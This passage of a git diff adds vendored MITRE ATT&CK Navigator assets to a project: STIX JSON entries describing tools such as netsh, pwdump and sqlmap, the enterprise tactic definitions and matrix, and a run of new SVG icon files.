"Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "meek" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--65370d0b-3bd4-4653-8cf9-daf56f6be830", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0175", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0175" + } + ] + }, + { + "name": "nbtstat", + "description": "[nbtstat](https://attack.mitre.org/software/S0102) is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "nbtstat", + "nbtstat.exe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--b35068ec-107a-4266-bda8-eb7036267aea", + "created": "2017-05-31T21:33:03.773Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0102", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0102" + }, + { + "description": "Microsoft. (n.d.). Nbtstat. Retrieved April 17, 2016.", + "source_name": "TechNet Nbtstat", + "url": "https://technet.microsoft.com/en-us/library/cc940106.aspx" + } + ] + }, + { + "name": "netsh", + "description": "[netsh](https://attack.mitre.org/software/S0108) is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "netsh", + "netsh.exe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "created": "2017-05-31T21:33:06.083Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0108", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0108" + }, + { + "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.", + "source_name": "TechNet Netsh", + "url": "https://technet.microsoft.com/library/bb490939.aspx" + } + ] + }, + { + "name": "netstat", + "description": "[netstat](https://attack.mitre.org/software/S0104) is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "netstat", + "netstat.exe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--4664b683-f578-434f-919b-1c1aad2a1111", + "created": "2017-05-31T21:33:04.545Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0104", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0104" + }, + { + "description": "Microsoft. (n.d.). Netstat. Retrieved April 17, 2016.", + "source_name": "TechNet Netstat", + "url": "https://technet.microsoft.com/en-us/library/bb490947.aspx" + } + ] + }, + { + "name": "pwdump", + "description": "[pwdump](https://attack.mitre.org/software/S0006) is a credential dumper. (Citation: Wikipedia pwdump)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "pwdump" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--9de2308e-7bed-43a3-8e58-f194b3586700", + "created": "2017-05-31T21:32:13.051Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0006", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0006" + }, + { + "description": "Wikipedia. (1985, June 22). pwdump. Retrieved June 22, 2016.", + "source_name": "Wikipedia pwdump", + "url": "https://en.wikipedia.org/wiki/Pwdump" + } + ] + }, + { + "name": "route", + "description": "[route](https://attack.mitre.org/software/S0103) can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "route", + "route.exe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--c11ac61d-50f4-444f-85d8-6f006067f0de", + "created": "2017-05-31T21:33:04.151Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0103", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0103" + }, + { + "description": "Microsoft. (n.d.). Route. Retrieved April 17, 2016.", + "source_name": "TechNet Route", + "url": "https://technet.microsoft.com/en-us/library/bb490991.aspx" + } + ] + }, + { + "name": "schtasks", + "description": "[schtasks](https://attack.mitre.org/software/S0111) is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "schtasks", + "schtasks.exe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--c9703cd3-141c-43a0-a926-380082be5d04", + "created": "2017-05-31T21:33:07.218Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0111", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0111" + }, + { + "description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.", + "source_name": "TechNet Schtasks", + "url": "https://technet.microsoft.com/en-us/library/bb490996.aspx" + } + ] + }, + { + "name": "spwebmember", + "description": "[spwebmember](https://attack.mitre.org/software/S0227) is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "spwebmember" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--33b9e38f-103c-412d-bdcf-904a91fff1e4", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0227", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0227" + }, + { + "description": "(Citation: NCC Group APT15 Alive and Strong)", + "source_name": "spwebmember" + }, + { + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "source_name": "NCC Group APT15 Alive and Strong", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ] + }, + { + "name": "sqlmap", + "description": "[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "sqlmap" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--9a2640c2-9f43-46fe-b13f-bde881e55555", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0225", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0225" + }, + { + "description": "Damele, B., Stampar, M. (n.d.). sqlmap. Retrieved March 19, 2018.", + "source_name": "sqlmap Introduction", + "url": "http://sqlmap.org/" + } + ] + }, + { + "name": "xCmd", + "description": "[xCmd](https://attack.mitre.org/software/S0123) is an open source tool that is similar to [PsExec](https://attack.mitre.org/software/S0029) and allows the user to execute applications on remote systems. (Citation: xCmd)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "xCmd" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b", + "created": "2017-05-31T21:33:11.941Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0123", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0123" + }, + { + "description": "Rayaprolu, A.. (2011, April 12). xCmd an Alternative to PsExec. Retrieved August 10, 2016.", + "source_name": "xCmd", + "url": "https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Collection", + "description": "The adversary is trying to gather data of interest to their goal.\n\nCollection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to steal (exfiltrate) the data. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--d108ce10-2419-4cf9-a774-46161d6c6cfe", + "x_mitre_shortname": "collection", + "modified": "2019-07-19T17:44:53.176Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0009", + "url": "https://attack.mitre.org/tactics/TA0009" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Command and Control", + "description": "The adversary is trying to communicate with compromised systems to control them.\n\nCommand and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim\u2019s network structure and defenses.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--f72804c5-f15a-449e-a5da-2eecd181f813", + "x_mitre_shortname": "command-and-control", + "modified": "2019-07-19T17:45:30.644Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0011", + "url": "https://attack.mitre.org/tactics/TA0011" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Credential Access", + "description": "The adversary is trying to steal account names and passwords.\n\nCredential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--2558fd61-8c75-4730-94c4-11926db2a263", + "x_mitre_shortname": "credential-access", + "modified": "2019-07-19T17:43:41.967Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0006", + "url": "https://attack.mitre.org/tactics/TA0006" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Defense Evasion", + "description": "The adversary is trying to avoid being detected.\n\nDefense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics\u2019 techniques are cross-listed here when those techniques include the added benefit of subverting defenses. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--78b23412-0651-46d7-a540-170a1ce8bd5a", + "x_mitre_shortname": "defense-evasion", + "modified": "2019-07-19T17:43:23.473Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0005", + "url": "https://attack.mitre.org/tactics/TA0005" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Discovery", + "description": "The adversary is trying to figure out your environment.\n\nDiscovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what\u2019s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--c17c5845-175e-4421-9713-829d0573dbc9", + "x_mitre_shortname": "discovery", + "modified": "2019-07-19T17:44:13.228Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0007", + "url": "https://attack.mitre.org/tactics/TA0007" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Execution", + "description": "The adversary is trying to run malicious code.\n\nExecution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--4ca45d45-df4d-4613-8980-bac22d278fa5", + "x_mitre_shortname": "execution", + "modified": "2019-07-19T17:42:06.909Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0002", + "url": "https://attack.mitre.org/tactics/TA0002" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Exfiltration", + "description": "The adversary is trying to steal data.\n\nExfiltration consists of techniques that adversaries may use to steal data from your network. Once they\u2019ve collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--9a4e74ab-5008-408c-84bf-a10dfbc53462", + "x_mitre_shortname": "exfiltration", + "modified": "2019-07-19T17:45:12.806Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0010", + "url": "https://attack.mitre.org/tactics/TA0010" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Impact", + "description": "The adversary is trying to manipulate, interrupt, or destroy your systems and data.\n \nImpact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries\u2019 goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-14T18:44:44.639Z", + "id": "x-mitre-tactic--5569339b-94c2-49ee-afb3-2222936582c8", + "x_mitre_shortname": "impact", + "modified": "2019-07-25T18:42:23.222Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0040", + "url": "https://attack.mitre.org/tactics/TA0040" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Initial Access", + "description": "The adversary is trying to get into your network.\n\nInitial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--ffd5bcee-6e16-4dd2-8eca-7b3beedf33ca", + "x_mitre_shortname": "initial-access", + "modified": "2019-07-19T17:41:41.425Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0001", + "url": "https://attack.mitre.org/tactics/TA0001" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Lateral Movement", + "description": "The adversary is trying to move through your environment.\n\nLateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--7141578b-e50b-4dcc-bfa4-08a8dd689e9e", + "x_mitre_shortname": "lateral-movement", + "modified": "2019-07-19T17:44:36.953Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0008", + "url": "https://attack.mitre.org/tactics/TA0008" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Persistence", + "description": "The adversary is trying to maintain their foothold.\n\nPersistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--5bc1d813-693e-4823-9961-abf9af4b0e92", + "x_mitre_shortname": "persistence", + "modified": "2019-07-19T17:42:33.899Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0003", + "url": "https://attack.mitre.org/tactics/TA0003" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Privilege Escalation", + "description": "The adversary is trying to gain higher-level permissions.\n\nPrivilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include: \n\u2022\tSYSTEM/root level\n\u2022\tlocal administrator\n\u2022\tuser account with admin-like access \n\u2022\tuser accounts with access to specific system or perform specific function\nThese techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--5e29b093-294e-49e9-a803-dab3d73b77dd", + "x_mitre_shortname": "privilege-escalation", + "modified": "2019-07-19T17:43:00.594Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0004", + "url": "https://attack.mitre.org/tactics/TA0004" + } + ] + }, + { + "type": "x-mitre-matrix", + "name": "Enterprise ATT&CK", + "description": "The full ATT&CK Matrix includes techniques spanning Windows, Mac, and Linux platforms and can be used to navigate through the knowledge base.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-matrix--eafc1b4c-5e56-4965-bd4e-66a6a89c88cc", + "modified": "2019-04-16T21:39:18.247Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "enterprise-attack", + "url": "https://attack.mitre.org/matrices/enterprise" + } + ], + "tactic_refs": [ + "x-mitre-tactic--ffd5bcee-6e16-4dd2-8eca-7b3beedf33ca", + "x-mitre-tactic--4ca45d45-df4d-4613-8980-bac22d278fa5", + "x-mitre-tactic--5bc1d813-693e-4823-9961-abf9af4b0e92", + "x-mitre-tactic--5e29b093-294e-49e9-a803-dab3d73b77dd", + "x-mitre-tactic--78b23412-0651-46d7-a540-170a1ce8bd5a", + "x-mitre-tactic--2558fd61-8c75-4730-94c4-11926db2a263", + "x-mitre-tactic--c17c5845-175e-4421-9713-829d0573dbc9", + "x-mitre-tactic--7141578b-e50b-4dcc-bfa4-08a8dd689e9e", + "x-mitre-tactic--d108ce10-2419-4cf9-a774-46161d6c6cfe", + "x-mitre-tactic--f72804c5-f15a-449e-a5da-2eecd181f813", + "x-mitre-tactic--9a4e74ab-5008-408c-84bf-a10dfbc53462", + "x-mitre-tactic--5569339b-94c2-49ee-afb3-2222936582c8" + ] + }, + { + "type": "marking-definition", + "id": "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-06-01T00:00:00Z", + "definition_type": "statement", + "definition": { + "statement": "Copyright 2015-2020, The MITRE Corporation. MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation." + } + } + ] +} \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/baseline-grid_on-24px.svg b/public/assets/attack-navigator/assets/icons/baseline-grid_on-24px.svg new file mode 100644 index 0000000..92399ed --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/baseline-grid_on-24px.svg @@ -0,0 +1,4 @@ + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_camera_alt_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_camera_alt_black_24px.svg new file mode 100644 index 0000000..3f052f2 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_camera_alt_black_24px.svg @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_check_box_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_check_box_black_24px.svg new file mode 100644 index 0000000..f4a93dd --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_check_box_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_check_box_outline_blank_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_check_box_outline_blank_black_24px.svg new file mode 100644 index 0000000..431090c --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_check_box_outline_blank_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_clear_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_clear_black_24px.svg new file mode 100644 index 0000000..ec8d116 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_clear_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_clear_gray_24px.svg b/public/assets/attack-navigator/assets/icons/ic_clear_gray_24px.svg new file mode 100644 index 0000000..61aca53 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_clear_gray_24px.svg @@ -0,0 +1,4 @@ + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_close_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_close_black_24px.svg new file mode 100644 index 0000000..0369486 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_close_black_24px.svg @@ -0,0 +1,4 @@ + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_color_lens_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_color_lens_black_24px.svg new file mode 100644 index 0000000..db6f9bf --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_color_lens_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_content_copy_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_content_copy_black_24px.svg new file mode 100644 index 0000000..7ee7f4c --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_content_copy_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_description_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_description_black_24px.svg new file mode 100644 index 0000000..6ae8360 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_description_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_done_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_done_black_24px.svg new file mode 100644 index 0000000..9bba7f8 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_done_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_done_gray_24px.svg b/public/assets/attack-navigator/assets/icons/ic_done_gray_24px.svg new file mode 100644 index 0000000..3b9c4db --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_done_gray_24px.svg @@ -0,0 +1,4 @@ + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_file_download_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_file_download_black_24px.svg new file mode 100644 index 0000000..6e3674b --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_file_download_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_file_upload_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_file_upload_black_24px.svg new file mode 100644 index 0000000..e4ee4dd --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_file_upload_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_file_upload_gray_24px.svg b/public/assets/attack-navigator/assets/icons/ic_file_upload_gray_24px.svg new file mode 100644 index 0000000..b952c31 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_file_upload_gray_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_filter_list_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_filter_list_black_24px.svg new file mode 100644 index 0000000..833debc --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_filter_list_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_format_color_fill_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_format_color_fill_black_24px.svg new file mode 100644 index 0000000..a42c324 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_format_color_fill_black_24px.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_format_color_fill_black_nobottom_24px.svg b/public/assets/attack-navigator/assets/icons/ic_format_color_fill_black_nobottom_24px.svg new file mode 100644 index 0000000..feb6d5c --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_format_color_fill_black_nobottom_24px.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_format_color_fill_gray_nobottom_24px.svg b/public/assets/attack-navigator/assets/icons/ic_format_color_fill_gray_nobottom_24px.svg new file mode 100644 index 0000000..3a34e7a --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_format_color_fill_gray_nobottom_24px.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_format_size_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_format_size_black_24px.svg new file mode 100644 index 0000000..05f1da1 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_format_size_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_insert_chart_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_insert_chart_black_24px.svg new file mode 100644 index 0000000..056cae7 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_insert_chart_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_insert_chart_gray_24px.svg b/public/assets/attack-navigator/assets/icons/ic_insert_chart_gray_24px.svg new file mode 100644 index 0000000..46cd9db --- /dev/null +++ 